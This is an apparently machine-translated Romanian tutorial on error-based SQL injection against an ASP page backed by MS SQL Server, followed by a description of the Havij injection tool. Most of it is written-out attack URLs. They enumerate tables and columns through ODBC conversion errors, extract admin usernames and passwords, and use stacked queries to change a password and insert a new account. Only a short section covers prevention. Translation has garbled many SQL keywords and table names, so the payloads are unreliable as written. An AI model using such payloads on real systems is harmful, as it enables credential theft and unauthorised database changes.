6.0 Cum să obțineți date dintr-o bază de date utilizând un mesaj de eroare ODBC?

Putem folosi informații dintr-un mesaj de eroare realizat de SQL Server pentru a obține orice date. De exemplu, luați în considerare următoarea pagină:

http: //duck/index.asp? id \u003d 10

Acum vom încerca să îmbină întregul "10" cu o altă linie în baza de date:

http: //ducek/index.asp? Id \u003d 10 uniune Selectați Top 1 table_name de la information_schema.bebles-

Tabelul de sistem information_schema.bebles conține informații despre toate tabelele de pe server.

Câmpul table_name conține în mod evident numele fiecărui tabel din baza de date. Ea a fost aleasă pentru că știm că există întotdeauna. Cererea noastră:

Selectați Top 1 table_name de la information_schema.bebles-

Această solicitare va returna primul nume în baza de date. Când suntem o valoare a șirului unui întreg 10, MS SQL Server va încerca să convertească șirul NVARCHAR către Integer. Acest lucru va determina o eroare care să raporteze că nu poate converti NVARCHAR la Int. Serverul va da următoarea eroare:


Eroare de sintaxă Conversia valorii NVARCHAR "(! Lang: Tabelul1" to a column of data type int. !}
/Index.asp, linia 5

Un mesaj de eroare conține informații despre o valoare care nu poate fi transformată într-un număr întreg. În acest caz, am primit numele primei tabele - "Tabelul1".

Pentru numele tabelului următor, putem folosi următoarea interogare:

http: //duck/index.asp? Id \u003d 10 uniune Selectați Top 1 table_name de la information_schema.beabile în cazul în care numele de table) în ("Tabelul1") -

De asemenea, putem căuta date utilizând cheia similară:

http: //duck/index.asp? id \u003d 10 uniune Selectați Top 1 table_name de la information_schema.beables în cazul în care "% 25login% 25" -

Furnizor Microsoft Ole DB pentru drivere ODBC Eroare "80040E07" Eroare de sintaxă Conversia valorii NVARCHAR "(! Lang: admin_login" to a column of data type int. !} /Index.asp, linia 5

Designul corespunzător "% 25login% 25" va fi înlocuit cu% Login% în SQL Server. În acest caz, primim numele tabelului care corespunde criteriului "admin_login".

6.1 Cum să știți toate numele coloanelor din masă?

Putem folosi tabelul information_schema.columns pentru a afișa toate numele coloanelor din tabel:

http: //duck/index.asp? Id \u003d 10 uniune Selectați Top 1 Column_Name de la information_schema.columns în cazul în care table_name \u003d "admin_login" -

Furnizor Microsoft Ole DB pentru drivere ODBC Eroare "80040E07"
Eroare de sintaxă Conversia valorii NVARCHAR "(! Lang: Login_id" to a column of data type int. !}
/Index.asp, linia 5

Acum, când am învățat primul nume al coloanei, putem folosi nu în () pentru a obține numele coloanei următoare:

http: //duced/index.asp? Id \u003d 10 uniune Selectați Top 1 Column_Name de la information_schema.columns în cazul în care table_name \u003d "admin_login" undename_name nu în ("login_id") -

Furnizor Microsoft Ole DB pentru drivere ODBC Eroare "80040E07"
Eroare de sintaxă Conversia valorii NVARCHAR "(! Lang: Login_name" to a column of data type int. !}
/Index.asp, linia 5

Continuând, vom obține numele rămase ale coloanelor, adică. "Parolă", "detalii" până când vom obține următoarea eroare.

http: //duck/index.asp? Id \u003d 10 uniune Selectați Top 1 Column_Name de la information_schema.columns în cazul în care table_name \u003d "admin_login" undename_name nu in ("login_id", "login_name", "parola", detalii ") -

Furnizor Microsoft OLE DB pentru oDBC Drivers Error "80040E14"
Ordinea de către articole trebuie să apară în lista SELECT dacă instrucțiunea conține un operator al Uniunii.
/Index.asp, linia 5

6.2. Cum obținem datele de care aveți nevoie?

Acum că am identificat câteva tabele importante, putem folosi aceeași metodologie pentru a obține informații din baza de date.

Să obținem primul login_name de la tabelul "admin_login":

http: //duck/index.asp? Id \u003d 10 uniune Selectați Top 1 Login_name de la admin_login--

Furnizor Microsoft Ole DB pentru drivere ODBC Eroare "80040E07"
Eroare de sintaxă Conversia valorii NVARCHAR "(! Lang: Neo" to a column of data type int. !}
/Index.asp, linia 5

Acum știm că există un utilizator de administrator cu numele de intrare în sistemul "Neo". În cele din urmă, putem obține o parolă "neo":

http: //duck/index.asp? Id \u003d 10 uniune Selectați Top 1 Parolă de la admin_login unde Login_name \u003d "Neo" -

Furnizor Microsoft Ole DB pentru drivere ODBC Eroare "80040E07"
Eroare de sintaxă Conversia valorii NVARCHAR "(Lang: M4trIx" to a column of data type int. !}
/Index.asp, linia 5

Acum ne putem conecta ca "Neo" cu o parolă "M4trIx".

6.3 Cum să obțineți o valoare numerică a rândului?

Există o limită în metoda descrisă mai sus. Nu vom putea obține un mesaj de eroare dacă încercăm să convertim textul care constă din numere (numai caractere între 0 ... 9). Acum vom descrie parola "31173" cu utilizatorul "Trinity":

http: //duck/index.asp? ID \u003d 10 uniune Selectați Top 1 Parolă de la admin_login unde Login_name \u003d "Trinity" -

Probabil că primim o eroare "nu a fost găsită. Motivul este că parola "31173" va fi transformată într-un număr, înainte de unire cu un număr întreg (în cazul nostru 10). Deoarece se va dovedi a fi expresia sindicală corectă, serverul SQL nu va afișa un mesaj de eroare și, astfel încât nu vom putea obține o înregistrare numerică.

Pentru a rezolva această problemă, putem adăuga un șir numeric până la capăt cu câteva litere, astfel încât transformarea nu a trecut. Interogare modificată:

http: //duck/index.asp? Id \u003d 10 uniune Selectați Top 1 Convertire (int, parolă% 2B "% 20MORPHEUS") de la admin_login unde LOGIN_NAME \u003d "Trinity" -

Pur și simplu folosim semnul plus (+) pentru a adăuga o parolă la capăt cu orice text (codarea AssCII pentru "+" \u003d 0x2b). Apoi, vom adăuga la sfârșitul "% 20morfeus" în parola reală. Prin urmare, chiar dacă valoarea parolei "31173", va deveni "31173 morfeu". Apelați manual funcția Convert (), încercând să convertiți "31173 morfeu" la un număr întreg, SQL Server va afișa un mesaj de eroare ODBC:

Furnizor Microsoft Ole DB pentru drivere ODBC Eroare "80040E07"
Eroare de sintaxă Conversia valorii NVARCHAR "(! Lang: 31173 morfeu" to a column of data type int. !}
/Index.asp, linia 5

Acum ne putem conecta ca "Trinity" cu o parolă "31173".

7.0 Cum să modificați / lipiți datele în baza de date?

După ce am primit numele tuturor coloanelor din masă, putem actualizați sau chiar introduceți (inserați) o nouă intrare în tabel. De exemplu, putem schimba parola pentru "Neo":

http: //duck/index.asp? id \u003d 10; Actualizați "Admin_Login" set "Parolă" \u003d "Newpas5" au fost login_name \u003d "Neo--

Pentru a face (introduceți) o nouă intrare în baza de date:

http: //duck/index.asp? id \u003d 10; Introduceți în "admin_login" ("LOGIN_ID", "LOGIN_NAME", "Parolă", "detalii") (666, "neo2", "NEWPAS5", "NA") -

Acum ne putem conecta ca "Neo" cu o parolă "Newpas5".

8.0 Cum să evitați injectarea SQL?

Filtrați caractere speciale în toate rândurile către:

Orice date introduse de utilizator
- Parametrii URL
- Cookie.

Pentru valori numerice, convertiți-le în număr întreg, înainte de a le trece la solicitarea SQL. Sau utilizați isnumeric pentru a vă asigura că acesta este un număr întreg.

Rulați serverul SQL ca utilizator neprezentat.

Ștergeți procedurile salvate neutilizate: master..xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Havij este un program care servește pentru a verifica disponibilitatea vulnerabilităților site-ului Web. Cel mai adesea folosește scopul principal, și anume - implementarea injecțiilor SQL. Din acest motiv, instrumentul aparține cel mai adesea software-ului "hacker".

Principiul de funcționare

Folosind această aplicație, puteți efectua atacuri pe un serviciu web pentru a schimba expresia SQL prin condamnare. În caz de succes, injecția vă permite să modificați logica executării unei cereri de utilizator pentru propriile dvs. nevoi. Adesea, în timpul atacului, se creează pur și simplu o amprentă (amprentă) a bazei de date, după care datele necesare sunt importate din acesta, de exemplu, baza de utilizator sau contul de administrator. În prezența vulnerabilităților, neprietenul poate chiar interacționa cu partea din spate a aplicației web. În particular, o astfel de introducere vă permite să realizați capacitatea de a efectua comenzile necesare pe server sau de a vizualiza fișierele necesare pe partea gazdă.

Capabilități

Havij face posibilă salvarea parolelor hashing și a tabelului de depozitare. Programul vă permite să efectuați diferite tipuri de injecție: injecție SQL bazată pe erori, injecție SQL de interogare a Uniunii, injecții SQL Injecție SQL, injecție orb, bazată pe timp, precum și injecția orb SQL Boolean. Instrumentul funcționează cu HTTPS și acceptă o varietate de tipuri de DBMS: MSACCESS, MYSQL, Oracle, Postgresq și chiar Sybase. Dacă este necesar, Havij poate lucra în mai multe fluxuri prin proxy.

Sintaxa codului închis poate fi editată de "mâini". De asemenea, înainte de începerea atacului, este permisă selectarea unei liste de cuvinte cheie dorite, coloane de tabele sau tipuri de date (de exemplu - numere întregi sau fracționate).

În procesul de lucru, Havij conduce un jurnal detaliat de operațiuni, care, după finalizarea atacului, este salvat în dosarul programului. Interfața aplicației este destul de intuitivă, iar toate comenzile de bază sunt potrivite aici într-o singură fereastră.

Caracteristici cheie

  • executarea injecțiilor SQL cu sintaxa dorită;
  • suport pentru diferite exemple de realizare;
  • căutați vulnerabilități și aplicații site-uri web;
  • abilitatea de a lucra cu diferite tipuri de DBMS;
  • susțineți HTTPS și protocolul proxy.